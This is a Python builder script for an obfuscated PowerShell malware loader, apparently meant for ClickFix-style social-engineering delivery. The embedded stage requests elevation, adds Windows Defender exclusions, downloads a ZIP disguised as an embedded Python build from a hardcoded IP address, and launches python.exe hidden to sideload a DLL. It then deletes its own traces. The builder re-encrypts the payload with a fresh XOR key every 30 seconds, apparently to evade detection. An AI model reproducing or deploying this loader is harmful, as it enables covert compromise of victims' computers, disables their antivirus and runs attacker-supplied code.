import time
import random
import string

# Encryption UNCHANGED: XOR → hex → $k/$d → iex
#
# Flow (one UAC, NO -EncodedCommand — avoids ClickFix.DEG):
# 1) Write stage .ps1 to %TEMP% (UTF8 no BOM)
# 2) RunAs -File (single ArgumentList string)
# 3) Inline Add-MpPreference (drop path + python.exe) — no server exclusions script
# 4) ZIP → python.exe sideload
# Log: %TEMP%\py311_stage.log
#
# Server:
#   http://2.26.252.84/Python-3.11.0-embed-amd98.zip

stage = "".join([
    "$ErrorActionPreference='Stop';",
    "$log=Join-Path $env:TEMP 'py311_stage.log';",
    "function W($m){Add-Content -LiteralPath $log -Value ((Get-Date -Format o)+' '+$m) -EA SilentlyContinue};",
    "W 'stage start';",
    "try{",
    "$zipUrl='http://2.26.252.84/Python-3.11.0-embed-amd98.zip';",
    "$drop=Join-Path $env:LOCALAPPDATA 'Programs\\Python\\Python311-Brief';",
    "$zipPath=Join-Path $env:TEMP ([guid]::NewGuid().Guid+'.zip');",
    "New-Item -ItemType Directory -Force -Path $drop|Out-Null;",
    "W ('drop='+$drop);",
    "W 'inline excl';",
    "try{Add-MpPreference -ExclusionPath $drop -EA Stop;W 'inline excl path ok'}catch{W ('inline excl path FAIL: '+$_.Exception.Message)};",
    "try{Add-MpPreference -ExclusionProcess 'python.exe' -EA Stop;W 'inline excl proc ok'}catch{W ('inline excl proc FAIL: '+$_.Exception.Message)};",
    "Start-Sleep -Seconds 4;",
    "$wc=New-Object Net.WebClient;",
    "W 'download zip';",
    "$wc.DownloadFile($zipUrl,$zipPath);",
    "if(-not(Test-Path $zipPath)){throw 'zip missing'};",
    "$len=(Get-Item $zipPath).Length;if($len -lt 1024){throw ('zip too small '+$len)};",
    "W ('zip bytes='+$len);",
    "$fs=[IO.File]::OpenRead($zipPath);$b=New-Object byte[] 4;$null=$fs.Read($b,0,4);$fs.Close();",
    "if(-not($b[0]-eq 0x50 -and $b[1]-eq 0x4B)){throw 'not a ZIP'};",
    "Expand-Archive -Path $zipPath -DestinationPath $drop -Force;",
    "Remove-Item $zipPath -Force -EA SilentlyContinue;",
    "$exe=Join-Path $drop 'python.exe';",
    "$dll=Join-Path $drop 'python311.dll';",
    "if(-not(Test-Path $exe)){$exe=(Get-ChildItem $drop -Recurse -Filter 'python.exe'|Select-Object -First 1).FullName};",
    "if(-not(Test-Path $dll)){$dll=(Get-ChildItem $drop -Recurse -Filter 'python311.dll'|Select-Object -First 1).FullName};",
    "if(-not $exe -or -not(Test-Path $exe)){throw 'python.exe not found'};",
    "if(-not $dll -or -not(Test-Path $dll)){throw 'python311.dll not found'};",
    "$wd=Split-Path $exe -Parent;",
    "W ('start '+$exe);",
    "Start-Process -FilePath $exe -WorkingDirectory $wd -WindowStyle Hidden;",
    "W 'done'",
    "}catch{W ('FAIL: '+$_.Exception.Message)}",
    "finally{Remove-Item -LiteralPath $PSCommandPath -Force -EA SilentlyContinue}",
])

_stage_ps = stage.replace("'", "''")

payload = "".join([
    "$ErrorActionPreference='Stop';",
    "$admin=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator);",
    "$work=Join-Path $env:TEMP ([guid]::NewGuid().Guid+'.ps1');",
    "$utf8=New-Object System.Text.UTF8Encoding $false;",
    f"[IO.File]::WriteAllText($work,'{_stage_ps}',$utf8);",
    "$ps=Join-Path $env:SystemRoot 'System32\\WindowsPowerShell\\v1.0\\powershell.exe';",
    "if(-not $admin){Start-Process -FilePath $ps -Verb RunAs -WindowStyle Hidden -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -File \"'+$work+'\"');Stop-Process -Id $PID -Force};",
    "& $ps -NoProfile -ExecutionPolicy Bypass -File $work",
])


def generate_key(length=16):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))


def encrypt(data: bytes, key: str) -> str:
    key_bytes = key.encode('utf-8')
    encrypted = bytes([ch ^ key_bytes[i % len(key_bytes)] for i, ch in enumerate(data)])
    return encrypted.hex()


def write_to_file(key: str, encrypted_data: str, filename: str = "CHWinLE"):
    content = f'''$k='{key}';$d='{encrypted_data}';$r='';for($p=0;$p -lt $d.Length;$p+=2){{$idx=[Math]::Floor($p/2);$r+=[char](([convert]::ToInt32($d.Substring($p,2),16))-bxor[int][char]$k[$idx%$k.Length])}};iex $r'''
    with open(filename, 'w', encoding='utf-8') as f:
        f.write(content)
    print(f"[+] File {filename} updated. Key: {key}")


def main():
    print("[*] python311 sideload (inline excl only, no server ps1). Ctrl+C to stop")
    while True:
        try:
            key = generate_key(16)
            encrypted_data = encrypt(payload.encode('utf-8'), key)
            write_to_file(key, encrypted_data)
            time.sleep(30)
        except KeyboardInterrupt:
            print("\n[!] Stopped by user")
            break
        except Exception as e:
            print(f"[!] Error: {e}")
            time.sleep(5)


if __name__ == "__main__":
    main()
